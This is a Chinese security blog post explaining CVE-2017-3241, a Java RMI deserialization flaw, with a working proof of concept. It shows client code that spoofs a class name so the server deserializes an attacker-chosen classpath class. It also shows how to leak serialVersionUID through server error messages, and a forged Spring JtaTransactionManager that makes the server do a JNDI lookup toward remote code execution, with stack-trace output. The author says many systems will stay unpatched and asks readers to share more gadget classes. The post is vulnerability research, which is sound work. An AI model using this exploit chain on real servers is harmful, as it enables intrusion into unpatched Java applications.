Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )首席安全官频道

*本文原创作者:jfeiyi,首席安全官频道本文属FreeBuf原创奖励计划,未经许可禁止转载

本打算慢慢写出来的,但前几天发现国外有研究员发了一篇关于这个CVE的文章,他和我找到的地方很相似。然而不知道是不是Oracle认为是同一个漏洞然后合并了CVE,还是说我找错了CVE。

总之,先简单描述一下漏洞:对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。听起来可能有点绕,请往下看。

就直接上问题代码了。在Java RMI的sun.rmi.server.UnicastRef类中,有如下一段代码:

300    protected static Object More ...unmarshalValue(Class<?> type, ObjectInput in)
301        throws IOException, ClassNotFoundException
302    {
303        if (type.isPrimitive()) {
304            if (type == int.class) {
305                return Integer.valueOf(in.readInt());
306            } else if (type == boolean.class) {
307                return Boolean.valueOf(in.readBoolean());
308            } else if (type == byte.class) {
309                return Byte.valueOf(in.readByte());
310            } else if (type == char.class) {
311                return Character.valueOf(in.readChar());
312            } else if (type == short.class) {
313                return Short.valueOf(in.readShort());
314            } else if (type == long.class) {
315                return Long.valueOf(in.readLong());
316            } else if (type == float.class) {
317                return Float.valueOf(in.readFloat());
318            } else if (type == double.class) {
319                return Double.valueOf(in.readDouble());
320            } else {
321                throw new Error("Unrecognized primitive type: " + type);
322            }
323        } else {
324            return in.readObject();
325        }
326    }

看324行,如果你熟悉java反序列化漏洞,看到此你应该就可以激动了。该代码直接调用readObject,且在原生Java类里。结合2016 black hat上那个spring-tx.jar或者之前apache common中的类,都可以实现远程代码执行。spring-tx里的那个我实验成功了,且Spring rmi中继承了这个漏洞。但Spring team表示不修,和他们没关系。。。

其实写到这,很多技术大牛已经可以自己找出怎么黑了。下面只是简单写写我如何通过正常Java RMI程序来攻击的,因为我觉得这招还是比较淫荡的。

以下是一个正常的服务器端接口,接口参数为Message对象,Message对象是要被序列化的对象:

public interface Services extends java.rmi.Remote
{
    String sendMessage(Message msg) throws RemoteException;
}

public class Message implements Serializable {
    private String msg;
    public Message()
    {
    }
    
    public String getMessage() {
        System.out.println("Processing message: "+msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
    /*
     * server will tell the serialVersionUID for first run, then just put it below
     */
    private final static long serialVersionUID = 1311618551071721443L;
}

服务器端程序,sendMessage接口实现只是调用getMessage打印字符串

public class RMIServer
   implements Services {
   public RMIServer() throws RemoteException {
   }

   public static void main(String args[]) throws Exception {
       System.out.println("RMI server started");
       RMIServer obj = new RMIServer();
        try {
         Services stub = (Services) UnicastRemoteObject.exportObject(obj,0);
           Registry reg;
           try {
               reg = LocateRegistry.createRegistry(1099);
               System.out.println("java RMI registry created.");
           } catch(Exception e) {
             System.out.println("Using existing registry");
             reg = LocateRegistry.getRegistry();
           }
         reg.rebind("RMIServer", stub);
       } catch (RemoteException e) {
         e.printStackTrace();
       }
   }
  @Override
  public String sendMessage(Message msg) throws RemoteException {
      return msg.getMessage();
  }
}

假设服务器端类路径里还存在一个PublicKnown类,比如spring或者apache common包里的某个类:)。这种类大部分情况下会被开发人员会一起打包进项目,但从来不用:

package org.xfei.thirdparty;
public class PublicKnown implements Serializable {
    private void readObject(java.io.ObjectInputStream stream)
            throws  ClassNotFoundException, IOException {
        stream.defaultReadObject();
        System.out.println("Server object initializing.....");
    }
}

如上,该类自己实现了一个readObject方法,用来做XXX事情。。。

以下是正常的客户端代码:

public class RMIClient {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1");
        Services obj = (Services) registry.lookup("RMIServer");
        Message normal = new Message();
        normal.setMessage("Hello");
        System.out.println(obj.sendMessage(normal));
    }
}

输出我就不放了,就是打印个Hello。

好了,如何攻击呢?

首先在客户端程序里当然要有Message类,而Message类基本应该是公开已知的。然后,虽然Spring tx和Apache common都是开源的,但我们先假设攻击者不知道源代码,但知道PublicKnown的类名和包名,于是他在客户端里构建如下的一个类:

package org.xfei.thirdparty;

import java.io.IOException;
import java.io.Serializable;

import org.xfei.pojo.Message;

public class PublicKnown extends Message  implements Serializable{
    private final static long serialVersionUID = 7179259861090880402L;
}

重点是包名,类名必须一致,且继承Message,serialVersionUID可以先不知道,之后能找出来。

然后改一改客户端程序:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import org.xfei.pojo.Message;
import org.xfei.thirdparty.PublicKnown;

public class RMIClient {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1");
        Services obj = (Services) registry.lookup("RMIServer");
        PublicKnown malicious = new PublicKnown();
        malicious.setMessage("haha");
        
        System.out.println(obj.sendMessage(malicious));
    }
}

服务器端端的输出如下(直接从报告里拷贝过来的截图):

serverdemo1.PNG

serverdemo1.PNG

也就是说,服务器端在接收到客户端发送的对象后会按PublicKnown类来反序列化,然后调用PublicKnown的readObject方法。

至此,如何配合Spring-tx.jar里的那个JtaTransactionManager类实现远程代码执行我想大家也知道了。把JtaTransactionManager源代码抄一份,让其继承Message类或者实现Message实现了的接口(如果有)就行。两种我都试验过可行。哦,对了,在JtaTransactionManager中你还需要控制userTransactionName变量的值,直接写在客户端代码里就行了,神奇的服务器端会用客户端提供的变量值和服务器端定义的readObject去执行。

还剩最后一个问题,serialVersionUID怎么得到?在我实验的时候,第一次发PublicKnown类过去的时候不要包含这个变量,服务器端会返回一个错误信息给你,错误信息里会带有这个值。。。。。。

且根据不同的错误信息,你还可以知道你的目标类是否存在于服务器的类路径里。

虽然Oracle已经发了补丁,但我打赌很多地方是不会升级JDK的。。。。

要是有类似于JtaTransactionManager这种可以配合使用的类,还请大家共享一下呀!

例子1:原理上面说了,补一张项目截图:

normal.png


normal.png


忽略里面和spring相关的包,那些是为了下面的例子在做准备。这个例子中的代码都是拷贝上面我贴的。你还可以在服务器端的PublicKnown中加个本地变量,并在readObject方法中输出,然后在客户端的PublicKnown中加个同样的变量,赋值,传到服务器端,你会看到变量值会在服务器端被输出出来。

上面也提到不知道服务器端的serialVersionUID,但服务器端会在出现任何异常的情况下把异常信息返回到客户端,如下:

arg.png


arg.png


例子2:利用JtaTransactionManager进行JNDI注入的例子:

malicious.png


malicious.png


返回到客户端的部分异常信息(我懒,没有挂个对象在8080端口):

Exception in thread "main" org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://127.0.0.1:8080/object]; nested exception is javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: 
    java.net.ConnectException: Connection refused: connect]
    at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:574)
    at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
    at org.springframework.transaction.jta.JtaTransactionManager.readObject(JtaTransactionManager.java:1206)
        ..................................
    at org.xfei.client.RMIClient.main(RMIClient.java:19)
Caused by: javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: 
    java.net.ConnectException: Connection refused: connect]
    at com.sun.jndi.rmi.registry.RegistryContext.lookup(Unknown Source)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(Unknown Source)
    at javax.naming.InitialContext.lookup(Unknown Source)
    at org.springframework.jndi.JndiTemplate$1.doInContext(JndiTemplate.java:155)
    at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:87)
    at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:152)
    at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179)
    at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:571)
    at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
        .................................................................
Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: 
    java.net.ConnectException: Connection refused: connect
    at sun.rmi.transport.tcp.TCPEndpoint.newSocket(Unknown Source)
    at sun.rmi.transport.tcp.TCPChannel.createConnection(Unknown Source)
    at sun.rmi.transport.tcp.TCPChannel.newConnection(Unknown Source)
    at sun.rmi.server.UnicastRef.newCall(Unknown Source)
    at sun.rmi.registry.RegistryImpl_Stub.lookup(Unknown Source)
    ... 31 more
Caused by: java.net.ConnectException: Connection refused: connect
    at java.net.DualStackPlainSocketImpl.connect0(Native Method)
    at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source)
    at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source)
    at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source)
    at java.net.AbstractPlainSocketImpl.connect(Unknown Source)
    at java.net.PlainSocketImpl.connect(Unknown Source)
    at java.net.SocksSocketImpl.connect(Unknown Source)
    at java.net.Socket.connect(Unknown Source)
    at java.net.Socket.connect(Unknown Source)
    at java.net.Socket.<init>(Unknown Source)
    at java.net.Socket.<init>(Unknown Source)
    at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(Unknown Source)
    at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(Unknown Source)
    ... 36 more

客户端的JtaTransactionManager代码如下:

package org.springframework.transaction.jta;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.List;
import java.util.Properties;
import javax.naming.NamingException;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.xfei.pojo.Message;


@SuppressWarnings("serial")
public class JtaTransactionManager extends Message
        implements  Serializable {
    public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
    public final static long  serialVersionUID = 4720255569299536580L;
    private String userTransactionName;
    public void setUserTransactionName(String userTransactionName) {
        this.userTransactionName = userTransactionName;
    }

}



Message有稍做修改:

package org.xfei.pojo;

import java.io.Serializable;

import org.springframework.transaction.TransactionDefinition;
import org.springframework.transaction.support.AbstractPlatformTransactionManager;
import org.springframework.transaction.support.DefaultTransactionStatus;

public class Message extends AbstractPlatformTransactionManager implements Serializable {
    private String msg;
    public Message()
    {
    }
    
    public String getMessage() {
        System.out.println("Processing message: "+msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
    /*
     * server will tell the serialVersionUID for first run, then just put it below
     */
    private final static long serialVersionUID = 1311618551071721443L;
    @Override
    protected void doBegin(Object arg0, TransactionDefinition arg1)
             {
        // TODO Auto-generated method stub
        
    }

    @Override
    protected void doCommit(DefaultTransactionStatus arg0)
            {
        // TODO Auto-generated method stub
        
    }

    @Override
    protected Object doGetTransaction() {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    protected void doRollback(DefaultTransactionStatus arg0)
         {
        // TODO Auto-generated method stub
        
    }
}

我以前的例子是在Spring RMI中测试的,做起来比这个顺利多了。这次是单独建Java项目测试。。。。

需要主意以下几点:

1,当你把假的JtaTransactionManager对象发到服务器端的时候,服务器端其实也要各种初始化,所以会依赖到各种Spring的包,还有一个Apapche common的logger以及jta包。所以服务器端不是单有个Spring-tx.jar就能成功攻击的,但Spring项目里这几个依赖包出现的几率比spring-tx.jar高得多。 

2,客户端编译的时候似乎也依赖几个类,我直接把所有spring jar包都放进去了。

3,看到截图,有的小伙伴可能会质疑这个是客户端编译的错误。其实我刚运行出来的时候也这么质疑的。。。但这其实是服务器端发过来的异常信息。

首先,initUserTransactionAndTransactionManager是被调用了的.。这个方法只会是在readObject中被调用,客户端哪里有调用readObject

其次,客户端JtaTransactionManager代码我是改过的,根本没有相关代码。

最后,客户端jar包里的JtaTransactionManager类我已经删了:

malicious2.png


malicious2.png


*本文原创作者:jfeiyi,本文属FreeBuf原创奖励计划,未经许可禁止转载

2017-02-15 12:18 阅读:179